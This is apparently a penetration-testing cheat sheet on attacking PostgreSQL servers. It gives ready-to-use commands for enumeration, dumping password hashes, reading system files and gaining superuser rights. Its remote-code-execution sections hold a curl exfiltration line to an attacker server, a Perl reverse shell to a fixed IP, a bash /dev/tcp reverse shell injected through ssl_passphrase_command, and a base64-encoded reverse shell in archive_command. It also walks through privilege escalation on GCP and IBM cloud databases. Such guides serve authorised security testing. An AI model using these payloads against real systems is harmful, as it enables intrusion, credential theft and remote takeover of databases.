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5432,5433 - Pentesting Postgresql

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Basic Information

PostgreSQL is an open source object-relational database system that uses and extends the SQL language.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
PORT STATE SERVICE
5432/tcp open pgsql

Connect & Basic Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
​
# Get current user
SELECT user;
​
# Get current database
SELECT current_catalog;
​
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
​
#List databases
SELECT datname FROM pg_database;
​
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
​
# Get languages
SELECT lanname,lanacl FROM pg_language;
​
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
​
# Get history of commands executed
\s
If running \list you find a database called rdsadmin you know you are inside an AWS postgresql database.
For more information about how to abuse a PostgreSQL database check:

Automatic Enumeration

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

​Brute force​

Port scanning

According to this research, when a connection attempt fails, dblink throws an sqlclient_unable_to_establish_sqlconnection exception including an explanation of the error. Examples of these details are listed below.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • Host is down
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is closed
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is open
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
or
DETAIL: FATAL: password authentication failed for user "name"
  • Port is open or filtered
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Unfortunately, there does not seem to be a way of getting the exception details within a PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist attack described in the previous section might prove successful.

Enumeration of Privileges

Roles

Role Types
Text
rolsuper
Role has superuser privileges
rolinherit
Role automatically inherits privileges of roles it is a member of
rolcreaterole
Role can create more roles
rolcreatedb
Role can create databases
rolcanlogin
Role can log in. That is, this role can be given as the initial session authorization identifier
rolreplication
Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.
rolconnlimit
For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.
rolpassword
Not the password (always reads as ********)
rolvaliduntil
Password expiry time (only used for password authentication); null if no expiration
rolbypassrls
Role bypasses every row-level security policy, see Section 5.8 for more information.
rolconfig
Role-specific defaults for run-time configuration variables
oid
ID of role

Interesting Groups

  • If you are a member of pg_execute_server_program you can execute programs
  • If you are a member of pg_read_server_files you can read files
  • If you are a member of pg_write_server_files you can write files
Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login.
# Get users roles
\du
​
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
​
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
​
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
​
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
​
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
​
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Functions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
​
# Get all functions of a schema
\df pg_catalog.*
​
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
​
# Another aparent option
SELECT * FROM pg_proc;

File-system actions

Read directories and files

From this commit members of the defined DEFAULT_ROLE_READ_SERVER_FILES group (called pg_read_server_files) and super users can use the COPY method on any path (check out convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_read_server_files TO username;
​More info.​
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
​
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
​
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
​
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Simple File Writing

Only super users and members of pg_write_server_files can use copy to write files.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_write_server_files TO username;
​More info.​
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner. A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.

Binary files upload

However, there are other techniques to upload big binary files:

​
​

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RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Example to exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
​
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_execute_server_program TO username;
​More info.​
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit. More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

PostgreSQL configuration file RCE

The configuration file of postgresql is writable by the postgres user which is the one running the database, so as superuser you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

The configuration file have some interesting attributes that can lead to RCE:
  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database
  • ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.
  • ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.
Then, an attacker will need to:
  1. 1.
    Dump private key from the server
  2. 2.
    Encrypt downloaded private key:
    1. 1.
      rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  3. 3.
    Overwrite
  4. 4.
    Dump the current postgresql configuration
  5. 5.
    Overwrite the configuration with the mentioned attributes configuration:
    1. 1.
      ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
    2. 2.
      ssl_passphrase_command_supports_reload = on
  6. 6.
    Execute pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

Another attribute in the configuration file that is exploitable is archive_command.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
  1. 1.
    Check whether archive mode is enabled: SELECT current_setting('archive_mode')
  2. 2.
    Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 3.
    Reload the config: SELECT pg_reload_conf()
  4. 4.
    Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modify Password

Users with this role can also change the passwords of other non-superusers:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
This is usually possible because of the following lines in the pg_hba.conf file:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust

ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:
Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 1.
    Create a new table.
  2. 2.
    Insert some dummy content to the table, so the index function has something to work with.
  3. 3.
    Create a malicious index function (with our code execution payload) on the table.
  4. 4.
    ALTER the table owner to cloudsqladmin , GCP’s superuser role, used only by Cloud SQL to maintain and manage the database.
  5. 5.
    ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before.
In PostgreSQL, this flow looks something like this:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
After executing the exploit SQL query, the shell_commands_results table contains the output of the executed code:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Note that for the previos query to work the function dblink needs to exist. If it doesn't you could try to create it with
CREATE EXTENSION dblink;
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
It's possible to check if this function exists with:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Custom defined function with SECURITY DEFINER

****In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.
In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
And then execute commands:

Pass Burteforce with PL/pgSQL

PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logging

Inside the postgresql.conf file you can enable postgresql logs changing:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Then, restart the service.

pgadmin

​pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py​
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Client authentication is controlled by a config file frequently named pg_hba.conf. This file has a set of records. A record may have one of the following seven formats:
Each record specifies a connection type, a client IP address range (if relevant for the connection type), a database name, a user name, and the authentication method to be used for connections matching these parameters. The first record with a matching connection type, client address, requested database, and user name is used to perform authentication. There is no "fall-through" or "backup": if one record is chosen and the authentication fails, subsequent records are not considered. If no record matches, access is denied. The password-based authentication methods are md5, crypt, and password. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg_authid.
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